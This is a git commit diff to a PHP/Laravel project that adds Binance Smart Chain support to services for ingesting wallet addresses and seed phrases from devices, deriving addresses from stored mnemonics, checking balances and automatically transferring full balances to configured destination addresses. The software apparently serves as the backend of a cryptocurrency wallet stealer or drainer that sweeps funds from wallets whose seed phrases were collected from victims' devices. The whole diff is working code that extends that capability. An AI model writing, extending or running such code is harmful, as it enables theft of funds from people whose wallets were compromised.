feat: bnb

This commit is contained in:
hashbro
2026-09-26 12:27:12 +08:00
parent 534b36a2d2
commit ad09fdff88
23 changed files with 475 additions and 82 deletions
+3 -1
View File
@@ -379,7 +379,8 @@ class AutoTransferService
{
return match ($chain) {
'TRON', 'TRX' => ['USDT', 'TRX'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
'BSC', 'BNB', 'BINANCE' => ['BNB', 'USDT'],
'BTC', 'BITCOIN' => ['BTC'],
default => [],
};
@@ -390,6 +391,7 @@ class AutoTransferService
return match ($chain) {
'TRON', 'TRX' => 'tron',
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'BSC', 'BNB', 'BINANCE' => 'bsc',
'BTC', 'BITCOIN' => 'btc',
default => null,
};
+20
View File
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
/**
* BSC (chain id 56). Same BIP44 path and address as Ethereum.
* Native coin is BNB. USDT is BEP20.
*/
class BscDriver extends EthDriver
{
public function chainId(): string
{
return 'bsc';
}
protected function configPrefix(): string
{
return 'coruna.bsc';
}
}
+2
View File
@@ -9,6 +9,7 @@ class ChainManager
public function __construct(
private readonly TronDriver $tron,
private readonly EthDriver $eth,
private readonly BscDriver $bsc,
private readonly BtcDriver $btc,
private readonly SolDriver $sol,
) {}
@@ -18,6 +19,7 @@ class ChainManager
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
'eth', 'ethereum' => $this->eth,
'bsc', 'bnb', 'binance' => $this->bsc,
'btc', 'bitcoin' => $this->btc,
'sol', 'solana' => $this->sol,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
+19 -21
View File
@@ -76,18 +76,14 @@ class EthDriver implements ChainDriver
// fall through to token
}
foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) {
$contract = trim((string) config($key, ''));
if ($contract === '') {
continue;
}
$contract = trim((string) config($this->configPrefix().'.usdt_contract', ''));
if ($contract !== '') {
try {
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
return true;
}
} catch (\Throwable) {
// try the next token
return false;
}
}
@@ -129,14 +125,14 @@ class EthDriver implements ChainDriver
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
{
$chainId = (int) config('coruna.eth.chain_id', 1);
$chainId = (int) config($this->configPrefix().'.chain_id', 1);
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
$gasPriceHex = $this->rpc('eth_gasPrice', []);
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
throw new RuntimeException('Failed to fetch nonce/gasPrice');
}
$gasLimit = trim((string) config('coruna.eth.gas_limit', ''));
$gasLimit = trim((string) config($this->configPrefix().'.gas_limit', ''));
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
}
@@ -190,19 +186,21 @@ class EthDriver implements ChainDriver
return $human === '' ? '0' : $human;
}
protected function configPrefix(): string
{
return 'coruna.eth';
}
private function tokenDecimals(string $contract): int
{
$normalized = EthAddress::normalize($contract);
$known = [
EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6),
EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18),
];
unset($known['']);
if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
return $known[$normalized];
$usdt = EthAddress::normalize((string) config($this->configPrefix().'.usdt_contract', ''));
$decimals = (int) config($this->configPrefix().'.usdt_decimals', 6);
if ($normalized !== '' && $usdt !== '' && $normalized === $usdt && $decimals > 0) {
return $decimals;
}
return max(1, (int) config('coruna.eth.usdt_decimals', 6));
return max(1, $decimals > 0 ? $decimals : 6);
}
private function toTokenUnits(string $amount, int $decimals): string
@@ -248,7 +246,7 @@ class EthDriver implements ChainDriver
private function rpc(string $method, array $params): mixed
{
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/');
$url = rtrim((string) config($this->configPrefix().'.rpc_url', 'https://ethereum.publicnode.com'), '/');
$resp = $this->http()->post($url, [
'jsonrpc' => '2.0',
'id' => 1,
@@ -256,15 +254,15 @@ class EthDriver implements ChainDriver
'params' => $params,
]);
if (! $resp->successful()) {
throw new RuntimeException('ETH RPC HTTP '.$resp->status());
throw new RuntimeException(strtoupper($this->chainId()).' RPC HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid ETH RPC response');
throw new RuntimeException('Invalid '.strtoupper($this->chainId()).' RPC response');
}
if (isset($json['error'])) {
$msg = $json['error']['message'] ?? json_encode($json['error']);
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error'));
throw new RuntimeException(strtoupper($this->chainId()).' RPC: '.(is_string($msg) ? $msg : 'error'));
}
return $json['result'] ?? null;
+46 -9
View File
@@ -859,11 +859,7 @@ class IngestService
$balance = '';
}
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('source', $source)
->first();
$existing = $this->findAddressRow($device->id, $address, $source, $chainType);
$beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
@@ -877,10 +873,19 @@ class IngestService
$attrs['monitor'] = 1;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
if ($existing !== null) {
$existing->fill($attrs);
$existing->save();
$addr = $existing;
} else {
$addr = new WalletAddress([
'device_id' => $device->id,
'address' => $address,
'source' => $source,
]);
$addr->fill($attrs);
$addr->save();
}
if ($addr->mnemonic_id === null) {
$this->mnemonicLinker->linkAddress($addr);
@@ -897,6 +902,19 @@ class IngestService
$this->enableMonitorOrDisable($addr);
}
if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) {
$bsc = $this->balances->ensureBscForEthAddress($addr);
if ($bsc !== null && $bsc->wasRecentlyCreated) {
$this->enableMonitorOrDisable($bsc);
$notify[] = [
'address' => (string) $bsc->address,
'chain' => 'BSC',
'balance' => $bsc->balanceDisplayLine(),
'source' => $source,
];
}
}
$balanceSummary = $addr->balanceDisplayLine();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
@@ -916,6 +934,25 @@ class IngestService
}
}
private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress
{
$aliases = match (true) {
in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'],
in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'],
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
default => [$chainType],
};
return WalletAddress::query()
->where('device_id', $deviceId)
->where('address', $address)
->where('source', $source)
->whereIn('chain_type', $aliases)
->first();
}
/**
* Two-field monitor model:
* monitor — user-facing switch (default ON for new addresses)
+3 -3
View File
@@ -41,7 +41,7 @@ class MnemonicAddressLinker
}
$target = (string) $address->address;
$caseInsensitive = $driver->chainId() === 'eth';
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
@@ -125,7 +125,7 @@ class MnemonicAddressLinker
continue;
}
$lookup = $driver->chainId() === 'eth'
$lookup = in_array($driver->chainId(), ['eth', 'bsc'], true)
? strtolower((string) $address->address)
: (string) $address->address;
@@ -193,7 +193,7 @@ class MnemonicAddressLinker
*/
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{
$caseInsensitive = $driver->chainId() === 'eth';
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
$map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
+29 -4
View File
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
@@ -26,6 +26,7 @@ class MnemonicWalletDiscovery
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'bsc', 'chain_type' => 'BSC'],
['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'],
];
@@ -108,7 +109,8 @@ class MnemonicWalletDiscovery
{
$aliases = match ($chain) {
'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
'bsc' => ['BSC', 'BNB', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)],
@@ -216,6 +218,7 @@ class MnemonicWalletDiscovery
return match ($chain) {
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'bsc' => $this->probeBsc($driver, $address),
'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []],
@@ -259,7 +262,6 @@ class MnemonicWalletDiscovery
'coins' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
],
];
}
@@ -267,6 +269,27 @@ class MnemonicWalletDiscovery
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeBsc(ChainDriver $driver, string $address): array
{
try {
$bnb = $driver->getNativeBalance($address);
} catch (\Throwable) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
return [
'activated' => true,
'coins' => [
'bnb' => $bnb,
'usdt' => $usdt,
],
];
}
private function probeBtc(ChainDriver $driver, string $address): array
{
if ($driver instanceof BtcDriver) {
@@ -329,6 +352,7 @@ class MnemonicWalletDiscovery
'device_id' => $mnemonic->device_id,
'address' => $address,
'source' => $source !== '' ? $source : null,
'chain_type' => $chainType,
]);
$row->chain_type = $chainType;
@@ -395,7 +419,8 @@ class MnemonicWalletDiscovery
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'bsc' => ['bnb' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'],
default => [],
+5
View File
@@ -48,7 +48,9 @@ class SettingsService
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
'transfer.to_address' => config('coruna.transfer.to_address'),
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'),
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'),
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
@@ -113,7 +115,9 @@ class SettingsService
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''),
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''),
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
'transfer.fee_private_key_tron' => '',
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
@@ -156,6 +160,7 @@ class SettingsService
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]),
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
+32 -26
View File
@@ -33,6 +33,11 @@ class TransferService
?string $operator = null,
): array {
$chain = strtolower(trim($chain));
$asset = strtoupper(trim($asset));
// Native BNB and later BEP20 USDT settlement both happen on BSC.
if ($asset === 'BNB') {
$chain = 'bsc';
}
$record = [
'from_address' => $fromAddress,
'to_address' => null,
@@ -85,7 +90,7 @@ class TransferService
}
$record['amount'] = $amount;
$this->assertAmountWithinLimit($amount, $asset);
$this->assertAmountWithinLimit($amount, $asset, $chain);
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
if ($resolved === null) {
@@ -108,13 +113,7 @@ class TransferService
$amount,
$this->usdtContract($chain),
),
'BNB' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
$this->bnbContract($chain),
),
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
@@ -422,7 +421,9 @@ class TransferService
{
return match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
default => trim((string) config('coruna.transfer.to_address', '')),
};
}
@@ -431,7 +432,9 @@ class TransferService
{
return match ($chain) {
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
default => 'TRANSFER_TO_ADDRESS is not configured',
};
}
@@ -440,6 +443,7 @@ class TransferService
{
$contract = match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
default => trim((string) config('coruna.tron.usdt_contract', '')),
};
if ($contract === '') {
@@ -449,39 +453,32 @@ class TransferService
return $contract;
}
private function bnbContract(string $chain): string
private function bscToAddress(): string
{
if (! in_array($chain, ['eth', 'ethereum'], true)) {
throw new RuntimeException('BNB is only supported on ETH');
}
$contract = trim((string) config('coruna.eth.bnb_contract', ''));
if ($contract === '') {
throw new RuntimeException('BNB contract is not configured for '.$chain);
$bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
if ($bsc !== '') {
return $bsc;
}
return $contract;
return trim((string) config('coruna.transfer.to_address_eth', ''));
}
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
{
$balance = match ($asset) {
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
$reserveKey = match ($asset) {
'TRX' => 'coruna.transfer.trx_fee_reserve',
'ETH' => 'coruna.transfer.eth_fee_reserve',
'BNB' => 'coruna.transfer.bnb_fee_reserve',
'BTC' => 'coruna.transfer.btc_fee_reserve',
default => null,
};
$scale = match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
$scale = $this->assetDecimals($asset, $chain);
if ($reserveKey !== null) {
$reserve = (string) config($reserveKey, '0');
@@ -524,7 +521,7 @@ class TransferService
}
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
$caseInsensitive = $driver->chainId() === 'eth';
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($addressRows as $row) {
if ($row->mnemonic_id !== null) {
@@ -586,13 +583,22 @@ class TransferService
return null;
}
private function assertAmountWithinLimit(string $amount, string $asset): void
private function assetDecimals(string $asset, string $chain): int
{
$decimals = match ($asset) {
if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
}
return match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
}
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
{
$decimals = $this->assetDecimals($asset, $chain);
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
throw new RuntimeException('Invalid amount');
}
+146 -5
View File
@@ -11,7 +11,8 @@ use Illuminate\Support\Facades\Log;
/**
* Live on-chain balance refresh for wallet_addresses.
*
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only.
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20); same address also reads BSC BNB.
* BSC: native BNB + USDT (BEP20). BTC: BTC only.
* SOL: SOL + USDT (SPL).
*/
class WalletBalanceService
@@ -31,7 +32,8 @@ class WalletBalanceService
return match ($chain) {
'TRON', 'TRX' => $this->refreshTron($address),
'ETH', 'ETHEREUM' => $this->refreshEth($address),
'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address),
'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address),
'BTC', 'BITCOIN' => $this->refreshBtc($address),
'SOL', 'SOLANA' => $this->refreshSol($address),
default => false,
@@ -54,9 +56,10 @@ class WalletBalanceService
if ($contract !== '') {
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
}
$bnbContract = trim((string) config('coruna.eth.bnb_contract', ''));
if ($bnbContract !== '') {
$attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract);
$bscCoins = $this->bscCoins($addr);
if ($bscCoins !== null) {
$attrs['bnb'] = $bscCoins['bnb'];
$this->persistBscSibling($address, $bscCoins);
}
$this->persistCoins($address, $attrs);
@@ -79,6 +82,144 @@ class WalletBalanceService
}
}
public function refreshBsc(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$coins = $this->bscCoins($addr);
if ($coins === null) {
return false;
}
$this->persistCoins($address, [
'bnb' => $coins['bnb'],
'usdt' => $coins['usdt'],
]);
Log::info('bsc balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'bnb' => $address->bnb,
'usdt' => $address->usdt,
]);
return true;
} catch (\Throwable $e) {
Log::warning('bsc balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
/**
* Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails.
*
* @return array{bnb: string, usdt: string}|null
*/
private function bscCoins(string $address): ?array
{
try {
$driver = $this->chains->resolve('bsc');
$coins = [
'bnb' => $driver->getNativeBalance($address),
'usdt' => '0',
];
$contract = trim((string) config('coruna.bsc.usdt_contract', ''));
if ($contract !== '') {
$coins['usdt'] = $driver->getTokenBalance($address, $contract);
}
return $coins;
} catch (\Throwable $e) {
Log::warning('bsc balance query failed: '.$e->getMessage(), [
'address' => $address,
]);
return null;
}
}
/**
* When an ETH address is first stored, also keep a BSC row if that same
* address holds native BNB or USDT-BEP20.
*/
public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress
{
$addr = trim((string) $ethRow->address);
if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
return null;
}
$coins = $this->bscCoins($addr);
if ($coins === null) {
return null;
}
if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) {
return null;
}
return $this->persistBscSibling($ethRow, $coins);
}
/**
* Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC
* without overwriting the ETH row's ERC20 USDT.
*
* @param array{bnb: string, usdt: string} $coins
*/
private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress
{
if ($ethRow->device_id === null) {
return null;
}
$hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0;
$query = WalletAddress::query()
->where('device_id', $ethRow->device_id)
->where('address', $ethRow->address)
->where('chain_type', 'BSC');
if ($ethRow->source === null || $ethRow->source === '') {
$query->where(function ($q) {
$q->whereNull('source')->orWhere('source', '');
});
} else {
$query->where('source', $ethRow->source);
}
$sibling = $query->first();
if ($sibling === null && ! $hasFunds) {
return null;
}
if ($sibling === null) {
$sibling = new WalletAddress([
'device_id' => $ethRow->device_id,
'address' => $ethRow->address,
'source' => $ethRow->source,
'chain_type' => 'BSC',
'mnemonic_id' => $ethRow->mnemonic_id,
'derive_index' => $ethRow->derive_index,
'monitor' => (int) $ethRow->monitor,
]);
}
$sibling->chain_type = 'BSC';
$sibling->bnb = $coins['bnb'];
$sibling->usdt = $coins['usdt'];
if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) {
$sibling->mnemonic_id = $ethRow->mnemonic_id;
$sibling->derive_index = $ethRow->derive_index;
}
$sibling->save();
return $sibling;
}
public function refreshBtc(WalletAddress $address): bool
{
$addr = trim((string) $address->address);